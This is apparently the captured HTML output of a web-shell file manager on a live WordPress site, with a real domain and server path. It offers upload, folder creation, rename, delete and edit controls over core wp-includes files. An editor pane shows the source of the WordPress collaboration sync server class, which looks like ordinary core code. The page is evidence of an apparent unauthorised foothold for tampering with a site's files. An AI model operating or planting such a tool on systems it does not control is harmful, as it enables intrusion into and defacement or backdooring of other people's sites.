<h2>?? File Manager</h2><p><b>Path:</b> /home/kaz2pjq1l68f/bakervocational.com/wp-includes/collaboration</p><a href='?dir=%2Fhome%2Fkaz2pjq1l68f%2Fbakervocational.com%2Fwp-includes'>? Back</a><br><br>
<form method='post' enctype='multipart/form-data'>
    <input type='file' name='upload'>
    <button>Upload</button>
</form>

<form method='post'>
    <input name='folder' placeholder='Folder name'>
    <button>Create</button>
</form><br>
<table border='1' cellpadding='6'>
<tr><th>Name</th><th>Action</th></tr><tr><td>?? class-wp-http-polling-sync-server.php</td><td>
    <form method='post' style='display:inline'>
        <input type='hidden' name='from' value='class-wp-http-polling-sync-server.php'>
        <input name='to' placeholder='Rename'>
        <button>?</button>
    </form>
     <a onclick='return confirm("Delete?")' href='?dir=%2Fhome%2Fkaz2pjq1l68f%2Fbakervocational.com%2Fwp-includes%2Fcollaboration&del=class-wp-http-polling-sync-server.php'>??</a> | <a href='?dir=%2Fhome%2Fkaz2pjq1l68f%2Fbakervocational.com%2Fwp-includes%2Fcollaboration&edit=class-wp-http-polling-sync-server.php'>?</a></td></tr><tr><td>?? class-wp-sync-post-meta-storage.php</td><td>
    <form method='post' style='display:inline'>
        <input type='hidden' name='from' value='class-wp-sync-post-meta-storage.php'>
        <input name='to' placeholder='Rename'>
        <button>?</button>
    </form>
     <a onclick='return confirm("Delete?")' href='?dir=%2Fhome%2Fkaz2pjq1l68f%2Fbakervocational.com%2Fwp-includes%2Fcollaboration&del=class-wp-sync-post-meta-storage.php'>??</a> | <a href='?dir=%2Fhome%2Fkaz2pjq1l68f%2Fbakervocational.com%2Fwp-includes%2Fcollaboration&edit=class-wp-sync-post-meta-storage.php'>?</a></td></tr><tr><td>?? interface-wp-sync-storage.php</td><td>
    <form method='post' style='display:inline'>
        <input type='hidden' name='from' value='interface-wp-sync-storage.php'>
        <input name='to' placeholder='Rename'>
        <button>?</button>
    </form>
     <a onclick='return confirm("Delete?")' href='?dir=%2Fhome%2Fkaz2pjq1l68f%2Fbakervocational.com%2Fwp-includes%2Fcollaboration&del=interface-wp-sync-storage.php'>??</a> | <a href='?dir=%2Fhome%2Fkaz2pjq1l68f%2Fbakervocational.com%2Fwp-includes%2Fcollaboration&edit=interface-wp-sync-storage.php'>?</a></td></tr></table>
        <h3>Editing: class-wp-http-polling-sync-server.php</h3>
        <form method='post'>
            <input type='hidden' name='save_path' value='/home/kaz2pjq1l68f/bakervocational.com/wp-includes/collaboration/class-wp-http-polling-sync-server.php'>
            <textarea name='content' rows='20' cols='100'>&lt;?php
/**
 * WP_HTTP_Polling_Sync_Server class
 *
 * @package WordPress
 */

/**
 * Core class that contains an HTTP server used for collaborative editing.
 *
 * @since 7.0.0
 * @access private
 */
class WP_HTTP_Polling_Sync_Server {
	/**
	 * REST API namespace.
	 *
	 * @since 7.0.0
	 * @var string
	 */
	const REST_NAMESPACE = &#039;wp-sync/v1&#039;;

	/**
	 * Awareness timeout in seconds. Clients that haven&#039;t updated
	 * their awareness state within this time are considered disconnected.
	 *
	 * @since 7.0.0
	 * @var int
	 */
	const AWARENESS_TIMEOUT = 30;

	/**
	 * Threshold used to signal clients to send a compaction update.
	 *
	 * @since 7.0.0
	 * @var int
	 */
	const COMPACTION_THRESHOLD = 50;

	/**
	 * Maximum total size (in bytes) of the request body.
	 *
	 * @since 7.0.0
	 * @var int
	 */
	const MAX_BODY_SIZE = 16 * MB_IN_BYTES;

	/**
	 * Maximum number of rooms allowed per request.
	 *
	 * @since 7.0.0
	 * @var int
	 */
	const MAX_ROOMS_PER_REQUEST = 50;

	/**
	 * Maximum length of a single update data string.
	 *
	 * @since 7.0.0
	 * @var int
	 */
	const MAX_UPDATE_DATA_SIZE = MB_IN_BYTES;

	/**
	 * Sync update type: compaction.
	 *
	 * @since 7.0.0
	 * @var string
	 */
	const UPDATE_TYPE_COMPACTION = &#039;compaction&#039;;

	/**
	 * Sync update type: sync step 1.
	 *
	 * @since 7.0.0
	 * @var string
	 */
	const UPDATE_TYPE_SYNC_STEP1 = &#039;sync_step1&#039;;

	/**
	 * Sync update type: sync step 2.
	 *
	 * @since 7.0.0
	 * @var string
	 */
	const UPDATE_TYPE_SYNC_STEP2 = &#039;sync_step2&#039;;

	/**
	 * Sync update type: regular update.
	 *
	 * @since 7.0.0
	 * @var string
	 */
	const UPDATE_TYPE_UPDATE = &#039;update&#039;;

	/**
	 * Storage backend for sync updates.
	 *
	 * @since 7.0.0
	 */
	private WP_Sync_Storage $storage;

	/**
	 * Constructor.
	 *
	 * @since 7.0.0
	 *
	 * @param WP_Sync_Storage $storage Storage backend for sync updates.
	 */
	public function __construct( WP_Sync_Storage $storage ) {
		$this-&gt;storage = $storage;
	}

	/**
	 * Registers REST API routes.
	 *
	 * @since 7.0.0
	 */
	public function register_routes(): void {
		$typed_update_args = array(
			&#039;properties&#039; =&gt; array(
				&#039;data&#039; =&gt; array(
					&#039;type&#039;      =&gt; &#039;string&#039;,
					&#039;required&#039;  =&gt; true,
					&#039;maxLength&#039; =&gt; self::MAX_UPDATE_DATA_SIZE,
				),
				&#039;type&#039; =&gt; array(
					&#039;type&#039;     =&gt; &#039;string&#039;,
					&#039;required&#039; =&gt; true,
					&#039;enum&#039;     =&gt; array(
						self::UPDATE_TYPE_COMPACTION,
						self::UPDATE_TYPE_SYNC_STEP1,
						self::UPDATE_TYPE_SYNC_STEP2,
						self::UPDATE_TYPE_UPDATE,
					),
				),
			),
			&#039;required&#039;   =&gt; true,
			&#039;type&#039;       =&gt; &#039;object&#039;,
		);

		$room_args = array(
			&#039;after&#039;     =&gt; array(
				&#039;minimum&#039;  =&gt; 0,
				&#039;required&#039; =&gt; true,
				&#039;type&#039;     =&gt; &#039;integer&#039;,
			),
			&#039;awareness&#039; =&gt; array(
				&#039;required&#039; =&gt; true,
				&#039;type&#039;     =&gt; array( &#039;object&#039;, &#039;null&#039; ),
			),
			&#039;client_id&#039; =&gt; array(
				&#039;minimum&#039;  =&gt; 1,
				&#039;required&#039; =&gt; true,
				&#039;type&#039;     =&gt; &#039;integer&#039;,
			),
			&#039;room&#039;      =&gt; array(
				&#039;required&#039; =&gt; true,
				&#039;type&#039;     =&gt; &#039;string&#039;,
				&#039;pattern&#039;  =&gt; &#039;^[^/]+/[^/:]+(?::\\S+)?$&#039;,
			),
			&#039;updates&#039;   =&gt; array(
				&#039;items&#039;    =&gt; $typed_update_args,
				&#039;minItems&#039; =&gt; 0,
				&#039;required&#039; =&gt; true,
				&#039;type&#039;     =&gt; &#039;array&#039;,
			),
		);

		register_rest_route(
			self::REST_NAMESPACE,
			&#039;/updates&#039;,
			array(
				&#039;methods&#039;             =&gt; array( WP_REST_Server::CREATABLE ),
				&#039;callback&#039;            =&gt; array( $this, &#039;handle_request&#039; ),
				&#039;permission_callback&#039; =&gt; array( $this, &#039;check_permissions&#039; ),
				&#039;validate_callback&#039;   =&gt; array( $this, &#039;validate_request&#039; ),
				&#039;args&#039;                =&gt; array(
					&#039;rooms&#039; =&gt; array(
						&#039;items&#039;    =&gt; array(
							&#039;properties&#039; =&gt; $room_args,
							&#039;type&#039;       =&gt; &#039;object&#039;,
						),
						&#039;maxItems&#039; =&gt; self::MAX_ROOMS_PER_REQUEST,
						&#039;required&#039; =&gt; true,
						&#039;type&#039;     =&gt; &#039;array&#039;,
					),
				),
			)
		);
	}

	/**
	 * Checks if the current user has permission to access a room.
	 *
	 * @since 7.0.0
	 *
	 * @param WP_REST_Request $request The REST request.
	 * @return bool|WP_Error True if user has permission, otherwise WP_Error with details.
	 */
	public function check_permissions( WP_REST_Request $request ) {
		// Minimum cap check. Is user logged in with a contributor role or higher?
		if ( ! current_user_can( &#039;edit_posts&#039; ) ) {
			return new WP_Error(
				&#039;rest_cannot_edit&#039;,
				__( &#039;You do not have permission to perform this action&#039; ),
				array( &#039;status&#039; =&gt; rest_authorization_required_code() )
			);
		}

		$rooms      = $request[&#039;rooms&#039;];
		$wp_user_id = get_current_user_id();

		foreach ( $rooms as $room ) {
			$client_id = $room[&#039;client_id&#039;];
			$room      = $room[&#039;room&#039;];

			// Check that the client_id is not already owned by another user.
			$existing_awareness = $this-&gt;storage-&gt;get_awareness_state( $room );
			foreach ( $existing_awareness as $entry ) {
				if ( $client_id === $entry[&#039;client_id&#039;] &amp;&amp; $wp_user_id !== $entry[&#039;wp_user_id&#039;] ) {
					return new WP_Error(
						&#039;rest_cannot_edit&#039;,
						__( &#039;Client ID is already in use by another user.&#039; ),
						array( &#039;status&#039; =&gt; rest_authorization_required_code() )
					);
				}
			}

			$type_parts   = explode( &#039;/&#039;, $room, 2 );
			$object_parts = explode( &#039;:&#039;, $type_parts[1] ?? &#039;&#039;, 2 );

			$entity_kind = $type_parts[0];
			$entity_name = $object_parts[0];
			$object_id   = $object_parts[1] ?? null;

			if ( ! $this-&gt;can_user_sync_entity_type( $entity_kind, $entity_name, $object_id ) ) {
				return new WP_Error(
					&#039;rest_cannot_edit&#039;,
					sprintf(
						/* translators: %s: The room name encodes the current entity being synced. */
						__( &#039;You do not have permission to sync this entity: %s.&#039; ),
						$room
					),
					array( &#039;status&#039; =&gt; rest_authorization_required_code() )
				);
			}
		}

		return true;
	}

	/**
	 * Validates that the request body does not exceed the maximum allowed size.
	 *
	 * Runs as the route-level validate_callback, after per-arg schema
	 * validation has already passed.
	 *
	 * @since 7.0.0
	 *
	 * @param WP_REST_Request $request The REST request.
	 * @return true|WP_Error True if valid, WP_Error if the body is too large.
	 */
	public function validate_request( WP_REST_Request $request ) {
		$body = $request-&gt;get_body();
		if ( is_string( $body ) &amp;&amp; strlen( $body ) &gt; self::MAX_BODY_SIZE ) {
			return new WP_Error(
				&#039;rest_sync_body_too_large&#039;,
				__( &#039;Request body is too large.&#039; ),
				array( &#039;status&#039; =&gt; 413 )
			);
		}

		return true;
	}

	/**
	 * Handles request: stores sync updates and awareness data, and returns
	 * updates the client is missing.
	 *
	 * @since 7.0.0
	 *
	 * @param WP_REST_Request $request The REST request.
	 * @return WP_REST_Response|WP_Error Response object or error.
	 */
	public function handle_request( WP_REST_Request $request ) {
		$rooms    = $request[&#039;rooms&#039;];
		$response = array(
			&#039;rooms&#039; =&gt; array(),
		);

		foreach ( $rooms as $room_request ) {
			$awareness = $room_request[&#039;awareness&#039;];
			$client_id = $room_request[&#039;client_id&#039;];
			$cursor    = $room_request[&#039;after&#039;];
			$room      = $room_request[&#039;room&#039;];

			// Merge awareness state.
			$merged_awareness = $this-&gt;process_awareness_update( $room, $client_id, $awareness );

			// The lowest client ID is nominated to perform compaction when needed.
			$is_compactor = false;
			if ( count( $merged_awareness ) &gt; 0 ) {
				$is_compactor = min( array_keys( $merged_awareness ) ) === $client_id;
			}

			// Process each update according to its type.
			foreach ( $room_request[&#039;updates&#039;] as $update ) {
				$result = $this-&gt;process_sync_update( $room, $client_id, $cursor, $update );
				if ( is_wp_error( $result ) ) {
					return $result;
				}
			}

			// Get updates for this client.
			$room_response              = $this-&gt;get_updates( $room, $client_id, $cursor, $is_compactor );
			$room_response[&#039;awareness&#039;] = $merged_awareness;

			$response[&#039;rooms&#039;][] = $room_response;
		}

		return new WP_REST_Response( $response, 200 );
	}

	/**
	 * Checks if the current user can sync a specific entity type.
	 *
	 * @since 7.0.0
	 *
	 * @param string      $entity_kind The entity kind, e.g. &#039;postType&#039;, &#039;taxonomy&#039;, &#039;root&#039;.
	 * @param string      $entity_name The entity name, e.g. &#039;post&#039;, &#039;category&#039;, &#039;site&#039;.
	 * @param string|null $object_id   The numeric object ID / entity key for single entities, null for collections.
	 * @return bool True if user has permission, otherwise false.
	 */
	private function can_user_sync_entity_type( string $entity_kind, string $entity_name, ?string $object_id ): bool {
		if ( is_string( $object_id ) ) {
			if ( ! ctype_digit( $object_id ) ) {
				return false;
			}
			$object_id = (int) $object_id;
		}
		if ( null !== $object_id &amp;&amp; $object_id &lt;= 0 ) {
			// Object ID must be numeric if provided.
			return false;
		}

		// Validate permissions for the provided object ID.
		if ( is_int( $object_id ) ) {
			// Handle single post type entities with a defined object ID.
			if ( &#039;postType&#039; === $entity_kind ) {
				if ( get_post_type( $object_id ) !== $entity_name ) {
					// Post is not of the specified post type.
					return false;
				}
				return current_user_can( &#039;edit_post&#039;, $object_id );
			}

			// Handle single taxonomy term entities with a defined object ID.
			if ( &#039;taxonomy&#039; === $entity_kind ) {
				$term_exists = term_exists( $object_id, $entity_name );
				if ( ! is_array( $term_exists ) || ! isset( $term_exists[&#039;term_id&#039;] ) ) {
					// Either term doesn&#039;t exist OR term is not in specified taxonomy.
					return false;
				}

				return current_user_can( &#039;edit_term&#039;, $object_id );
			}

			// Handle single comment entities with a defined object ID.
			if ( &#039;root&#039; === $entity_kind &amp;&amp; &#039;comment&#039; === $entity_name ) {
				return current_user_can( &#039;edit_comment&#039;, $object_id );
			}
		}

		// All the remaining checks are for collections. If an object ID is provided,
		// reject the request.
		if ( null !== $object_id ) {
			return false;
		}

		// For postType collections, check if the user can edit posts of this type.
		if ( &#039;postType&#039; === $entity_kind ) {
			$post_type_object = get_post_type_object( $entity_name );
			if ( ! isset( $post_type_object-&gt;cap-&gt;edit_posts ) ) {
				return false;
			}

			return current_user_can( $post_type_object-&gt;cap-&gt;edit_posts );
		}

		// Collection syncing does not exchange entity data. It only signals if
		// another user has updated an entity in the collection. Therefore, we only
		// compare against an allow list of collection types.
		$allowed_collection_entity_kinds = array(
			&#039;postType&#039;,
			&#039;root&#039;,
			&#039;taxonomy&#039;,
		);

		return in_array( $entity_kind, $allowed_collection_entity_kinds, true );
	}

	/**
	 * Processes and stores an awareness update from a client.
	 *
	 * @since 7.0.0
	 *
	 * @param string                    $room             Room identifier.
	 * @param int                       $client_id        Client identifier.
	 * @param array&lt;string, mixed&gt;|null $awareness_update Awareness state sent by the client.
	 * @return array&lt;int, array&lt;string, mixed&gt;&gt; Map of client ID to awareness state.
	 */
	private function process_awareness_update( string $room, int $client_id, ?array $awareness_update ): array {
		$existing_awareness = $this-&gt;storage-&gt;get_awareness_state( $room );
		$updated_awareness  = array();
		$current_time       = time();

		foreach ( $existing_awareness as $entry ) {
			// Remove this client&#039;s entry (it will be updated below).
			if ( $client_id === $entry[&#039;client_id&#039;] ) {
				continue;
			}

			// Remove entries that have expired.
			if ( $current_time - $entry[&#039;updated_at&#039;] &gt;= self::AWARENESS_TIMEOUT ) {
				continue;
			}

			$updated_awareness[] = $entry;
		}

		// Add this client&#039;s awareness state.
		if ( null !== $awareness_update ) {
			$updated_awareness[] = array(
				&#039;client_id&#039;  =&gt; $client_id,
				&#039;state&#039;      =&gt; $awareness_update,
				&#039;updated_at&#039; =&gt; $current_time,
				&#039;wp_user_id&#039; =&gt; get_current_user_id(),
			);
		}

		// This action can fail, but it shouldn&#039;t fail the entire request.
		$this-&gt;storage-&gt;set_awareness_state( $room, $updated_awareness );

		// Convert to client_id =&gt; state map for response.
		$response = array();
		foreach ( $updated_awareness as $entry ) {
			$response[ $entry[&#039;client_id&#039;] ] = $entry[&#039;state&#039;];
		}

		return $response;
	}

	/**
	 * Processes a sync update based on its type.
	 *
	 * @since 7.0.0
	 *
	 * @param string                            $room      Room identifier.
	 * @param int                               $client_id Client identifier.
	 * @param int                               $cursor    Client cursor (marker of last seen update).
	 * @param array{data: string, type: string} $update    Sync update.
	 * @return true|WP_Error True on success, WP_Error on storage failure.
	 */
	private function process_sync_update( string $room, int $client_id, int $cursor, array $update ) {
		$data = $update[&#039;data&#039;];
		$type = $update[&#039;type&#039;];

		switch ( $type ) {
			case self::UPDATE_TYPE_COMPACTION:
				/*
				 * Compaction replaces updates the client has already seen. Only remove
				 * updates with markers before the client&#039;s cursor to preserve updates
				 * that arrived since the client&#039;s last sync.
				 *
				 * Check for a newer compaction update first. If one exists, skip this
				 * compaction to avoid overwriting it.
				 */
				$updates_after_cursor = $this-&gt;storage-&gt;get_updates_after_cursor( $room, $cursor );
				$has_newer_compaction = false;

				foreach ( $updates_after_cursor as $existing ) {
					if ( self::UPDATE_TYPE_COMPACTION === $existing[&#039;type&#039;] ) {
						$has_newer_compaction = true;
						break;
					}
				}

				if ( ! $has_newer_compaction ) {
					if ( ! $this-&gt;storage-&gt;remove_updates_before_cursor( $room, $cursor ) ) {
						return new WP_Error(
							&#039;rest_sync_storage_error&#039;,
							__( &#039;Failed to remove updates during compaction.&#039; ),
							array( &#039;status&#039; =&gt; 500 )
						);
					}

					return $this-&gt;add_update( $room, $client_id, $type, $data );
				}

				/*
				 * A newer compaction already advanced the cursor, but we
				 * can not safely drop an update. The incoming bytes still encode
				 * operations other clients may not have seen, so store them as a
				 * regular update. Y.applyUpdateV2 merges state-as-update blobs
				 * idempotently, so overlap with the existing compaction is safe.
				 */
				return $this-&gt;add_update( $room, $client_id, self::UPDATE_TYPE_UPDATE, $data );

			case self::UPDATE_TYPE_SYNC_STEP1:
			case self::UPDATE_TYPE_SYNC_STEP2:
			case self::UPDATE_TYPE_UPDATE:
				/*
				 * Sync step 1 announces a client&#039;s state vector. Other clients need
				 * to see it so they can respond with sync_step2 containing missing
				 * updates. The cursor-based filtering prevents re-delivery.
				 *
				 * Sync step 2 contains updates for a specific client.
				 *
				 * All updates are stored persistently.
				 */
				return $this-&gt;add_update( $room, $client_id, $type, $data );
		}

		return new WP_Error(
			&#039;rest_invalid_update_type&#039;,
			__( &#039;Invalid sync update type.&#039; ),
			array( &#039;status&#039; =&gt; 400 )
		);
	}

	/**
	 * Adds an update to a room&#039;s update list via storage.
	 *
	 * @since 7.0.0
	 *
	 * @param string $room      Room identifier.
	 * @param int    $client_id Client identifier.
	 * @param string $type      Update type (sync_step1, sync_step2, update, compaction).
	 * @param string $data      Base64-encoded update data.
	 * @return true|WP_Error True on success, WP_Error on storage failure.
	 */
	private function add_update( string $room, int $client_id, string $type, string $data ) {
		$update = array(
			&#039;client_id&#039; =&gt; $client_id,
			&#039;data&#039;      =&gt; $data,
			&#039;type&#039;      =&gt; $type,
		);

		if ( ! $this-&gt;storage-&gt;add_update( $room, $update ) ) {
			return new WP_Error(
				&#039;rest_sync_storage_error&#039;,
				__( &#039;Failed to store sync update.&#039; ),
				array( &#039;status&#039; =&gt; 500 )
			);
		}

		return true;
	}

	/**
	 * Gets sync updates for a specific client from a room after a given cursor.
	 *
	 * Delegates cursor-based retrieval to the storage layer, then applies
	 * client-specific filtering and compaction logic.
	 *
	 * @since 7.0.0
	 *
	 * @param string $room         Room identifier.
	 * @param int    $client_id    Client identifier.
	 * @param int    $cursor       Return updates after this cursor.
	 * @param bool   $is_compactor True if this client is nominated to perform compaction.
	 * @return array{
	 *   end_cursor: int,
	 *   should_compact: bool,
	 *   room: string,
	 *   total_updates: int,
	 *   updates: array&lt;int, array{data: string, type: string}&gt;,
	 * } Response data for this room.
	 */
	private function get_updates( string $room, int $client_id, int $cursor, bool $is_compactor ): array {
		$updates_after_cursor = $this-&gt;storage-&gt;get_updates_after_cursor( $room, $cursor );
		$total_updates        = $this-&gt;storage-&gt;get_update_count( $room );

		// Filter out this client&#039;s updates, except compaction updates.
		$typed_updates = array();
		foreach ( $updates_after_cursor as $update ) {
			if ( $client_id === $update[&#039;client_id&#039;] &amp;&amp; self::UPDATE_TYPE_COMPACTION !== $update[&#039;type&#039;] ) {
				continue;
			}

			$typed_updates[] = array(
				&#039;data&#039; =&gt; $update[&#039;data&#039;],
				&#039;type&#039; =&gt; $update[&#039;type&#039;],
			);
		}

		$should_compact = $is_compactor &amp;&amp; $total_updates &gt; self::COMPACTION_THRESHOLD;

		return array(
			&#039;end_cursor&#039;     =&gt; $this-&gt;storage-&gt;get_cursor( $room ),
			&#039;room&#039;           =&gt; $room,
			&#039;should_compact&#039; =&gt; $should_compact,
			&#039;total_updates&#039;  =&gt; $total_updates,
			&#039;updates&#039;        =&gt; $typed_updates,
		);
	}
}
</textarea><br>
            <button>?? Save</button>
        </form>
Name	Action
?? class-wp-http-polling-sync-server.php	?? \| ?
?? class-wp-sync-post-meta-storage.php	?? \| ?
?? interface-wp-sync-storage.php	?? \| ?